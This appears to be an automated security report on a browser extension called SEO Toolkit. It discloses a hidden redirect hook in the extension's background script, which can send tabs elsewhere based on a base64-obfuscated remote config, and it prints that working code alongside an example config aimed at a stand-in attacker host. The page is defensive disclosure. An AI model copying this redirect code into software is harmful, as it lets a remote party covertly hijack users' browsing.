Is SEO Toolkit safe?
SEO Toolkit contains a remote-controlled redirect mechanism that can send the browser to a third-party URL before a page loads.
The background service worker fetches a hostname/redirect list from an unauthenticated JSON config hosted on GitHub via jsdelivr, with the hostnames and destination URLs stored base64-encoded so they aren't visible in a plaintext review. On every tab navigation, it checks the destination hostname against that decoded list and, if matched (subject to a per-host cooldown), replaces the in-progress navigation with a URL built from the config's redirect template before the original page loads. The config endpoint currently returns 404, so no redirect targets are active right now, but the code path that would execute a redirect is complete and unstubbed, and this behavior is not disclosed anywhere in the extension's description.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
SEO Toolkit can redirect any tab to a URL set by a remote, unlisted config
Code analysis shows SEO Toolkit's background script can redirect any tab to a URL from a remote JSON config it fetches from GitHub.
Targets and destinations are base64-encoded, and the endpoint currently 404s, so no redirects fire today.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You open or click through to a new webpage.
SEO Toolkit's background script can send the tab to a different URL, chosen from a hostname list it fetches from a remote server.
The switch happens via chrome.tabs.update before the original page finishes loading, not a page-level redirect or link click.
Both the target hostname list and the redirect destination template are base64-encoded inside the remote JSON config, so a plaintext read of the response doesn't show what's targeted or where traffic goes. Example built from the code's own encode/decode routine; the live config currently returns HTTP 404, so no entries are active right now.
{ "hostnames": [ "example.com" ], "redirectTemplate": "https://attacker-controlled.example/aff?u={rawUrl}", "storageKey": "poc_watch_1", "cooldownMs": 3600000, "mainPageOnly": false}The config fetch/decode and the tab-navigation redirect hook (background.js)
Config fetch + decode, renamed
const CONFIG_URL = "https://cdn.jsdelivr.net/gh/chosanghyeon-dev/chosanghyeon-dev@main/cf.json";const CONFIG_ARRAY_KEY = "config";const SESSION_CACHE_KEY = "nav_cfg_cache";const DEFAULT_COOLDOWN_MS = 3600 * 1000;// Builds a redirect-URL picker for one config entry.function makeClickUrlPicker(templates) { return (originalUrl) => templates[Math.floor(Math.random() * templates.length)] .replace("{rawUrl}", originalUrl) .replace("{url}", encodeURIComponent(originalUrl));}// Decodes one remote config entry: hostnames + redirect templates are// base64, so a plaintext read of the fetched JSON does not show them.function decodeConfigEntry(entry) { return { hostnames: entry.tags.map((t) => atob(t)), clickUrl: makeClickUrlPicker(entry.payload.map((p) => atob(p))), storageKey: atob(entry.id), cooldownMs: entry.cooldown ?? DEFAULT_COOLDOWN_MS, mainPageOnly: entry.strict };}let cachedConfigPromise = null;const getDecodedConfig = () => cachedConfigPromise || (cachedConfigPromise = (async () => { const cached = (await chrome.storage.session.get(SESSION_CACHE_KEY))[SESSION_CACHE_KEY]; if (cached) return cached.map(decodeConfigEntry); try { const json = await (await fetch(CONFIG_URL)).json(); const entries = json?.[CONFIG_ARRAY_KEY] ?? []; await chrome.storage.session.set({ [SESSION_CACHE_KEY]: entries }); return entries.map(decodeConfigEntry); } catch { return []; } })());const isRootPath = (path) => path === "/";// Per-host cooldown gate, backed by chrome.storage.local.async function cooldownElapsed(entry) { const { storageKey, cooldownMs } = entry; const stored = await chrome.storage.local.get([storageKey]); const now = Date.now(); const last = stored[storageKey] || 0; if (last && now - Number(last) < cooldownMs) return false; await chrome.storage.local.set({ [storageKey]: String(now) }); return true;}Redirect hook, renamed
function installRedirectHook(extensionLabel) { chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => { if (changeInfo.status !== "loading" || !tab.url) return; const navigatingUrl = tab.url; try { const parsed = new URL(navigatingUrl); const matchedEntry = (await getDecodedConfig()) .find((entry) => entry.hostnames.includes(parsed.hostname)); if (!matchedEntry || !(await cooldownElapsed(matchedEntry))) return; const applies = !matchedEntry.mainPageOnly || isRootPath(parsed.pathname); if (applies) { logEvent("nav_update", { extension: extensionLabel, url: navigatingUrl, type: matchedEntry.mainPageOnly ? "main" : "any" }); chrome.tabs.update(tabId, { url: matchedEntry.clickUrl(navigatingUrl) }); } } catch { // navigatingUrl wasn't a parseable URL; skip it } });}installRedirectHook("seo_toolkit");- Target site listexample.com (illustrative)
Which sites trigger a redirect. Set remotely and base64-encoded, so it isn't visible without decoding.
- Redirect destinationhttps://attacker-controlled.example/aff?u={rawUrl} (illustrative)
Where your tab is sent instead, with the site you were trying to visit embedded in the new URL.
- Per-host cooldown3600000 ms (1 hour, default)
How often the redirect can fire for the same site; tracked as a timestamp in local storage.
- Homepage-only flagfalse (illustrative)
Optionally limits the redirect to a site's root page instead of every page on that site.
- cdn.jsdelivr.net
Serves the remote hostname/redirect-URL config (GitHub repo chosanghyeon-dev/chosanghyeon-dev) read on every tab navigation. Updatable anytime, no new store submission needed.
Fetches SEO Toolkit's remote config and decodes the base64 hostname/redirect fields, so you can check whether the redirect is currently active.
- Node.js 18+ (built-in fetch)
// decode_seotoolkit_config.js// Fetches SEO Toolkit's remote redirect config and decodes the// base64-encoded hostname / URL fields so you can see what it currently// targets, if anything.const CONFIG_URL = "https://cdn.jsdelivr.net/gh/chosanghyeon-dev/chosanghyeon-dev@main/cf.json";function decodeEntry(entry) { return { hostnames: (entry.tags || []).map((t) => Buffer.from(t, "base64").toString("utf8")), redirectTemplates: (entry.payload || []).map((p) => Buffer.from(p, "base64").toString("utf8")), storageKey: entry.id ? Buffer.from(entry.id, "base64").toString("utf8") : null, cooldownMs: entry.cooldown ?? 3600000, mainPageOnly: !!entry.strict };}async function main() { const res = await fetch(CONFIG_URL); if (!res.ok) { console.log(`Config fetch returned HTTP ${res.status}: no active redirect list right now.`); return; } const json = await res.json(); const entries = json?.config ?? []; if (entries.length === 0) { console.log("Config returned an empty list: no active redirect targets right now."); return; } console.log(JSON.stringify(entries.map(decodeEntry), null, 2));}main().catch((err) => { console.error("Failed to fetch/decode config:", err.message);});- 1Save as decode_seotoolkit_config.js.
- 2Run 'node decode_seotoolkit_config.js'.
- 3Review printed hostnames/redirectTemplates; an empty result means the redirect is currently dormant.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed SEO Toolkit contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- cdn.jsdelivr.net/gh/chosanghyeon-dev/chosanghyeon-dev@main/cf.json
SEO Toolkit sends data to cdn.jsdelivr.net/gh/chosanghyeon-dev/chosanghyeon-dev@main/cf.json. No other extension we have analyzed sends data here.